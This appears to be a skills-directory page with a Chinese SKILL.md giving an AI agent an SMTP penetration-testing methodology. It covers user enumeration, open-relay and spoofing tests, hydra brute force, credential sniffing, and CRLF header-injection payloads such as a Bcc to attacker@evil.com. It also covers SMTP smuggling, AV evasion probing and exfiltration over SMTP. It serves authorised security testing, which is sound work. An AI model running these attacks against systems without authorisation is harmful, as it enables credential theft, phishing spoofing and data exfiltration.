Skip to main content

smtp-pentesting

SMTP 服务(25/465/587 端口)渗透测试方法论。涵盖 SMTP 服务发现与版本识别、用户名枚举(VRFY/EXPN/RCPT TO)、开放中继测试、邮件伪造(SPF/DKIM/DMARC 绕过)、凭据爆破、SMTP 命令注入、已知漏洞利用。 当 Agent 扫描发现 25/465/587 端口开放、需要枚举邮件用户、测试邮件伪造可能性、或利用 SMTP 服务漏洞时,触发此 Skill。

Source facts

Repository
wgpsec/AboutSecurity
Last source activity
May 21, 2026 at 13:05
Detected SKILL.md language
Chinese
Stars
1,760
Forks
243

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

File Explorer
2 files

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
smtp-pentesting
description
SMTP 服务(25/465/587 端口)渗透测试方法论。涵盖 SMTP 服务发现与版本识别、用户名枚举(VRFY/EXPN/RCPT TO)、开放中继测试、邮件伪造(SPF/DKIM/DMARC 绕过)、凭据爆破、SMTP 命令注入、已知漏洞利用。 当 Agent 扫描发现 25/465/587 端口开放、需要枚举邮件用户、测试邮件伪造可能性、或利用 SMTP 服务漏洞时,触发此 Skill。
metadata
{"tags":["smtp","邮件","25端口","465端口","587端口","用户枚举","邮件伪造","开放中继"],"category":"exploit/network-service"}
# SMTP 渗透测试方法论 (25/465/587) ## 深入参考 - SMTP 命令、枚举载荷、伪造脚本、注入语法大全 -> 读 [references/smtp-commands.md](references/smtp-commands.md) --- ## 整体决策树 ``` 发现 25/465/587 端口开放 ├─ Phase 1: 服务发现与版本识别 │ ├─ Banner 抓取 (nc / openssl) │ ├─ EHLO 命令获取支持的扩展列表 │ ├─ 识别 MTA 软件与版本 (Postfix / Sendmail / Exchange / hMailServer) │ └─ NTLM 认证探测 (Exchange/IIS) -> 泄露内部主机名/域名 ├─ Phase 2: 用户名枚举 │ ├─ VRFY 命令 -> 直接验证用户是否存在 │ ├─ EXPN 命令 -> 展开邮件列表 │ ├─ RCPT TO 命令 -> 通过响应码判断用户存在性 │ └─ 自动化工具 (smtp-user-enum / Metasploit / Nmap) ├─ Phase 3: 开放中继测试 │ ├─ 手动测试: 从外部域发送到外部域 │ ├─ Nmap smtp-open-relay 脚本 │ └─ 判断 mynetworks 配置是否过宽 ├─ Phase 4: 邮件伪造 │ ├─ 检查 SPF 记录 -> dig txt domain.com │ ├─ 检查 DKIM -> dig selector._domainkey.domain.com TXT │ ├─ 检查 DMARC -> dig _dmarc.domain.com TXT │ ├─ 判断伪造可行性 │ │ ├─ 无 SPF / SPF ~all / 无 DMARC -> 高可行 │ │ ├─ DMARC p=none -> 中可行 (不拒绝) │ │ └─ DMARC p=reject + SPF -all -> 低可行 │ └─ SMTP Smuggling -> 绕过 SEG/邮件网关 ├─ Phase 5: 凭据攻击 │ ├─ 暴力破解 (hydra / Metasploit) │ ├─ 密码喷洒 (常见弱口令) │ └─ 嗅探明文认证 (端口 25 无 TLS) ├─ Phase 6: SMTP 命令注入 │ ├─ CRLF 注入 -> 附加额外收件人/头部 │ ├─ 头部注入 -> 通过 Web 表单注入邮件头 │ └─ SMTP Smuggling -> 利用 MTA 解析差异 └─ Phase 7: 已知漏洞 ├─ 版本匹配 CVE 搜索 ├─ Nmap smtp-vuln-* 脚本 └─ 读 references/smtp-commands.md #CVE清单 ``` --- ## Phase 1: 服务发现与版本识别 ### 1.1 Banner 抓取与连接 ``` 连接 SMTP 服务 ├─ 明文 (端口 25) │ └─ nc -vn <IP> 25 ├─ SSL/TLS (端口 465) │ └─ openssl s_client -crlf -connect <IP>:465 ├─ STARTTLS (端口 587) │ └─ openssl s_client -starttls smtp -crlf -connect <IP>:587 └─ 获取 Banner 后判断 MTA 类型 ├─ "Postfix" -> Linux, 检查版本 ├─ "Sendmail" -> Linux/Unix ├─ "Microsoft ESMTP" -> Exchange/IIS ├─ "hMailServer" -> Windows, 常见于 HTB └─ "Exim" -> Linux, 检查 CVE ``` ### 1.2 EHLO 扩展探测 ```bash # 连接后发送 EHLO 获取服务器支持的命令和扩展 # 关键关注: VRFY, EXPN, AUTH, STARTTLS, SIZE, DSN, NTLM nmap -p25 --script smtp-commands <IP> ``` **关键判断**: - `VRFY` 启用 -> 直接进入 Phase 2 用户枚举 - `AUTH` 支持 -> 可尝试凭据攻击 (Phase 5) - `AUTH NTLM` -> 信息泄露探测 (见 1.3) - 无 `STARTTLS` -> 可嗅探明文凭据 ### 1.3 NTLM 认证信息泄露 当 SMTP 服务器支持 NTLM 认证时 (常见于 Exchange/IIS),可获取内部主机名、域名、OS 版本。 ```bash # Nmap 自动化探测 nmap -p 25,587 --script smtp-ntlm-info <IP> ``` **泄露信息**: 内部主机名、AD 域名、OS 版本号 -- 对后续攻击路径规划有价值。 ### 1.4 内部服务器名泄露 ``` 发送不完整 MAIL FROM -> 服务器可能自动补全 ├─ MAIL FROM: me │ └─ 响应: 250 2.1.0 me@PRODSERV01.somedomain.com └─ 泄露内部主机名 ``` ### 1.5 MX 记录查询 ```bash # 查找目标组织的邮件服务器 dig +short mx target.com ``` --- ## Phase 2: 用户名枚举 ### 2.1 枚举方法决策树 ``` 用户名枚举 ├─ 方法 1: VRFY (最直接) │ ├─ VRFY root -> 250 = 存在 │ └─ VRFY invalid -> 550 = 不存在 │ 注意: 很多现代 MTA 禁用或返回统一响应 ├─ 方法 2: EXPN (展开邮件列表) │ ├─ EXPN root -> 250 展开为实际地址 │ └─ 可发现邮件列表和别名映射 │ 注意: 大多数服务器已禁用 ├─ 方法 3: RCPT TO (最可靠) │ ├─ 先发送 MAIL FROM:<any@any.com> │ ├─ RCPT TO:<user@target.com> │ │ ├─ 250 Recipient ok = 用户存在 │ │ └─ 550 User unknown = 不存在 │ └─ 适用于 VRFY/EXPN 被禁用的场景 └─ 方法 4: 自动化工具 ├─ smtp-user-enum -M VRFY -U users.txt -t <IP> ├─ smtp-user-enum -M RCPT -U users.txt -t <IP> ├─ Metasploit: auxiliary/scanner/smtp/smtp_enum └─ Nmap: nmap --script smtp-enum-users <IP> ``` ### 2.2 DSN 报告利用 向目标组织发送邮件到无效地址,退信 (NDR) 头部可能泄露: - 内部邮件服务器 IP - 反病毒软件信息 (X-Virus-Scanned) - 邮件网关/SEG 类型 - 内部路由拓扑 **EICAR 测试**: 发送 EICAR 测试文件可探测 AV 引擎类型,用于后续规避。 --- ## Phase 3: 开放中继测试 ### 3.1 检测决策树 ``` 开放中继测试 ├─ 自动化检测 │ └─ nmap -p25 --script smtp-open-relay <IP> -v ├─ 手动测试 (telnet/nc 连接后) │ ├─ MAIL FROM:<attacker@external.com> │ ├─ RCPT TO:<anyone@another-external.com> │ ├─ DATA -> 写入邮件内容 -> . │ └─ 如果 250 OK -> 确认开放中继 └─ 判断影响 ├─ 开放中继 -> 可用于发送钓鱼邮件/垃圾邮件 ├─ 可用于绕过 SPF (从合法 IP 发送) └─ 严重配置缺陷,报告中标记高危 ``` ### 3.2 SEG 绕过 (邮件安全网关) ``` 绕过邮件安全网关 (SEG) ├─ 检查所有接受的域的 MX 记录 │ ├─ dig +short mx domain.com │ └─ 对比 MX 是否指向 SEG 还是直接指向邮件服务器 ├─ 测试 <tenant>.onmicrosoft.com │ ├─ MX 始终指向 Exchange Online │ └─ 如未锁定 -> 发送到 user@<tenant>.onmicrosoft.com 绕过 SEG └─ MX 不一致 -> 直接向邮件服务器投递,跳过 SEG 检查 ``` --- ## Phase 4: 邮件伪造 ### 4.1 防伪造机制检查 ``` 检查目标域邮件安全配置 ├─ SPF 检查 │ ├─ dig txt target.com | grep spf │ ├─ 关注结尾: -all (严格) / ~all (软拒) / ?all (中立) / +all (全允许) │ └─ 无 SPF 记录 -> 伪造可行性高 ├─ DKIM 检查 │ ├─ 需要知道 selector (从邮件头 DKIM-Signature d= s= 获取) │ └─ dig <selector>._domainkey.target.com TXT ├─ DMARC 检查 │ ├─ dig _dmarc.target.com TXT │ ├─ p=none -> 不执行策略,伪造可行 │ ├─ p=quarantine -> 进垃圾箱,部分可行 │ └─ p=reject -> 直接拒绝,需要更高级绕过 └─ 额外检查 ├─ MTA-STS: dig _mta-sts.target.com TXT ├─ BIMI: dig default._bimi.target.com TXT └─ STARTTLS 支持: openssl s_client -starttls smtp -connect mx:25 ``` ### 4.2 伪造可行性判断 ``` 综合判断 ├─ 高可行: 无 SPF + 无 DMARC ├─ 高可行: SPF ~all + DMARC p=none ├─ 中可行: SPF -all + DMARC p=none (被标记但不拒绝) ├─ 低可行: SPF -all + DMARC p=quarantine (进垃圾箱) ├─ 极低: SPF -all + DMARC p=reject (直接拒绝) └─ 绕过手段 ├─ 子域伪造: 子域可能没有独立 SPF/DMARC ├─ SMTP Smuggling: 利用 MTA 解析差异注入邮件 ├─ DKIM 签名: 自己生成密钥对签名 (接收方无法验证但显示已签名) └─ 相似域名: 注册近似域名 (如 target-mail.com) ``` ### 4.3 发送伪造邮件 ``` 发送方式选择 ├─ 命令行工具 │ ├─ swaks -- 最灵活的 SMTP 测试工具 │ ├─ sendEmail -- 简单发送 │ └─ Python smtplib -- 高度可定制 ├─ 在线工具 (仅用于验证) │ ├─ emkei.cz │ └─ anonymailer.net └─ 自动化工具 ├─ magicspoofing -- 自动检查 SPF/DKIM/DMARC 并伪造 └─ mailspoof -- 检查 SPF/DMARC 配置缺陷 ``` -> 读 references/smtp-commands.md 获取完整的伪造邮件脚本和命令 --- ## Phase 5: 凭据攻击 ### 5.1 攻击路径选择 ``` SMTP 凭据攻击 ├─ 暴力破解 │ ├─ hydra -l user@target.com -P wordlist.txt smtp://<IP> │ ├─ hydra -l user@target.com -P wordlist.txt -s 587 <IP> smtp │ ├─ Metasploit: auxiliary/scanner/smtp/smtp_enum │ └─ 注意: SMTP 通常无锁定策略,但要控制速率 ├─ 密码喷洒 │ └─ 已枚举用户列表 + 常见弱口令逐个测试 ├─ 嗅探明文凭据 │ ├─ 端口 25 无 TLS -> 可嗅探 AUTH PLAIN/LOGIN │ └─ tcpdump -i eth0 port 25 -A | grep -i "AUTH\|LOGIN\|PASS" └─ NTLM 哈希捕获 ├─ 如果支持 AUTH NTLM └─ 可配合 Responder 捕获 NetNTLMv2 哈希 ``` --- ## Phase 6: SMTP 命令注入 ### 6.1 注入类型决策树 ``` SMTP 注入场景 ├─ CRLF 注入 (通过 SMTP 协议层) │ ├─ 在 MAIL FROM 或 RCPT TO 中注入 \r\n │ ├─ 注入额外 RCPT TO -> 添加隐藏收件人 │ └─ 注入额外头部 -> 控制邮件内容/路由 ├─ 邮件头注入 (通过 Web 应用) │ ├─ Web 联系表单的邮件发送功能 │ ├─ 在 From/Subject/CC 字段注入 \r\nBcc: attacker@evil.com │ └─ 可用于发送任意邮件 ├─ SMTP Smuggling │ ├─ 利用不同 MTA 对消息边界的解析差异 │ ├─ 在 DATA 段中注入: \r\n.\r\nMAIL FROM:... │ └─ 绕过 SPF/DKIM/DMARC 检查 └─ Postfix 配置利用 ├─ /etc/postfix/master.cf 中的脚本执行 └─ flags=Rq user=xxx argv=/path/to/script ``` -> 读 references/smtp-commands.md 获取注入载荷和 Smuggling 技术细节 --- ## Phase 7: 已知漏洞 ### 7.1 漏洞匹配决策树 ``` SMTP MTA 版本已知 ├─ Postfix │ └─ 搜索: searchsploit postfix ├─ Sendmail │ ├─ 老版本存在大量 RCE (Sendmail 8.x 系列) │ └─ searchsploit sendmail ├─ Exim │ ├─ CVE-2019-10149 (The Return of the WIZard) -> Exim 4.87-4.91 RCE │ └─ searchsploit exim ├─ Microsoft Exchange │ ├─ ProxyLogon (CVE-2021-26855) / ProxyShell │ └─ 独立 skill 处理 ├─ hMailServer │ ├─ 默认凭据 / 弱加密存储 │ └─ 管理端口 7000 (单独测试) ├─ OpenSMTPD │ ├─ CVE-2020-7247 -> RCE (OpenSMTPD < 6.6.2) │ └─ searchsploit opensmtpd └─ 批量漏洞扫描 ├─ nmap --script smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 <IP> └─ nmap --script=smtp-commands,smtp-enum-users,smtp-vuln* -p 25 <IP> ``` ### 7.2 Nmap SMTP 漏洞脚本 ```bash # 全面 SMTP 漏洞扫描 nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 <IP> ``` -> 读 references/smtp-commands.md #CVE清单 获取详细漏洞信息和利用方式 --- ## Postfix 配置审计 (Linux 目标) 获取访问权限后检查 Postfix 配置文件中的危险设置: | 配置项 | 风险说明 | |-------|---------| | `mynetworks = 0.0.0.0/0` | 开放中继,允许任意 IP 发送邮件 | | `smtpd_relay_restrictions` 为空 | 无中继限制 | | `smtpd_recipient_restrictions` 宽松 | 接收方限制不足 | | `disable_vrfy_command = no` | VRFY 用户枚举可用 | | `smtpd_tls_security_level = none` | 无 TLS,凭据明文传输 | **关键配置文件**: - `/etc/postfix/main.cf` -- 主配置 - `/etc/postfix/master.cf` -- 服务定义 (可能含脚本执行) - `/etc/aliases` -- 邮件别名 (可能泄露用户信息) - `sendmail.cf` / `submit.cf` -- Sendmail 配置 --- ## 邮件头部信息收集 当能够使目标发送邮件 (如通过 Web 联系表单) 时: ``` 邮件头分析 ├─ 获取邮件头的途径 │ ├─ 让目标通过联系表单发邮件给你 │ ├─ 发送到不存在地址触发 NDR 退信 │ └─ 发送 EICAR 测试文件触发 AV 通知 ├─ 可获取的信息 │ ├─ 内部 IP 地址和网络拓扑 │ ├─ 邮件服务器软件和版本 │ ├─ 反病毒/反垃圾邮件引擎 (X-Virus-Scanned) │ ├─ 邮件网关/SEG 类型 │ └─ 内部路由路径 (Received 头) └─ 利用价值 ├─ 发现内部主机 -> 可用于后续攻击 └─ 识别 AV 引擎 -> 针对性规避 ``` --- ## 数据外传 (通过 SMTP) 当其他出站通道被阻断时,SMTP 可作为数据外传通道: ``` SMTP 数据外传 ├─ 目标可出站到端口 25 -> 直接 SMTP 外传 ├─ 编码数据为邮件正文或附件 └─ 通过合法邮件服务器中继 (如果是开放中继) ```
View on GitHub